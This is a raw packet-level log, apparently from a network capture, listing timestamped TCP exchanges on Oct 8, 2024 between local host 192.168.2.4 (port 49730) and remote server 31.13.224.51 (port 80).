Oct 8, 2024 02:39:02.258845091 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258860111 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258862019 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.258872986 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258888006 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258902073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258902073 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.258915901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258922100 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.258932114 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258944988 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258959055 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.258960009 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258976936 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.259689093 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259702921 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259716988 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259730101 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.259731054 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259746075 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259753942 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.259761095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259774923 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259783030 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.259789944 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259804964 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259813070 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.259820938 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259835005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259845018 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.259849072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259862900 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259871006 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.259876966 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259891987 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259903908 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.259907007 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259921074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.259944916 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.259963989 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.260438919 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.260454893 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.260490894 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.265336990 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.298715115 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.298738956 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.298753977 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.298767090 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.298784018 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.298798084 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.298813105 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.298830986 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.298928022 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.298928976 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.298928976 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.298928976 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.689992905 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690066099 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690102100 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690133095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690165997 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690198898 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690217018 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690217018 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690217018 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690231085 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690264940 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690295935 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690298080 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690330982 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690340996 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690361977 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690393925 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690404892 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690443993 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690476894 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690485954 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690510035 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690541983 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690548897 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690577030 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690609932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690617085 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690638065 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690669060 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690675974 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690701008 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690733910 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690747023 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690768003 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690798998 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690808058 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690830946 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690861940 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690871954 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690895081 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690926075 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690937042 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.690958977 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690990925 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.690998077 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.691028118 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691067934 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.691195965 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691227913 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691260099 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691268921 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.691291094 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691323042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691330910 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.691354036 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691416979 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691428900 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.691451073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691483974 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691495895 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.691514015 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691546917 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691555977 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.691579103 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691612005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691618919 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.691644907 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691678047 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691694021 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.691709995 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691741943 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691751003 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.691773891 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.691816092 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.692163944 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692195892 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692228079 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692239046 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.692260027 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692291021 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692301035 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.692322969 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692351103 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692361116 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.692383051 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692414045 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692425013 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.692445040 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692476988 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692490101 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.692508936 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692540884 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692553997 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.692570925 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692601919 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692606926 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.692632914 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692665100 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692675114 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.692696095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692730904 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692739964 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.692761898 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.692802906 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.693133116 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693166971 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693197966 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693209887 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.693229914 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693262100 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693269968 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.693293095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693325996 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693344116 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.693358898 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693389893 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693404913 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.693420887 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693449020 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693466902 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.693481922 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693514109 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693521976 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.693546057 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693578005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693593025 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.693608999 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693640947 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693653107 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.693672895 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.693716049 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.694077015 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694109917 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694142103 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694154024 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.694175005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694205999 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694216013 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.694238901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694271088 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694282055 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.694303036 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694334984 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694343090 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.694366932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694400072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694406986 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.694432020 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694463015 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694470882 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.694494009 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694525957 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694534063 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.694559097 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694588900 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694600105 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.694623947 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.694664955 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695101976 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695133924 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695163012 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695179939 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695195913 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695228100 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695235014 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695260048 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695291996 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695301056 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695323944 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695354939 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695364952 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695383072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695432901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695440054 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695465088 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695496082 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695507050 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695528984 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695559978 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695569038 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695591927 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695624113 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695632935 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695655107 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695686102 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695696115 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695718050 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695745945 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695759058 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695873976 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695907116 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695916891 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.695940018 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695971966 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.695981026 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696018934 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696050882 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696063995 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696083069 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696114063 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696122885 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696145058 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696176052 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696185112 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696208000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696238995 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696253061 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696269035 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696300983 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696305990 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696327925 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696358919 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696367979 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696393013 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696424007 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696432114 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696455956 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696496010 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696805954 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696837902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696868896 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696883917 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696902037 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696928978 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696942091 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.696960926 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.696994066 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697005033 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697025061 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697057009 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697067022 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697091103 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697123051 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697146893 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697154045 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697185993 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697196960 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697216034 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697247982 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697256088 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697279930 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697309971 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697319984 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697321892 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697335005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697356939 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697359085 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697371006 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697386026 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697397947 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697401047 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697416067 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697418928 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697457075 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697770119 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697793007 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697807074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697820902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697829962 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697835922 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697850943 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697865009 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697869062 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697880030 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697890043 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697896004 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697910070 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697918892 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697923899 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697938919 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697952032 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697952986 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697968006 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697974920 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.697982073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.697997093 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.698004961 CEST	49730	80	192.168.2.4	31.13.224.51
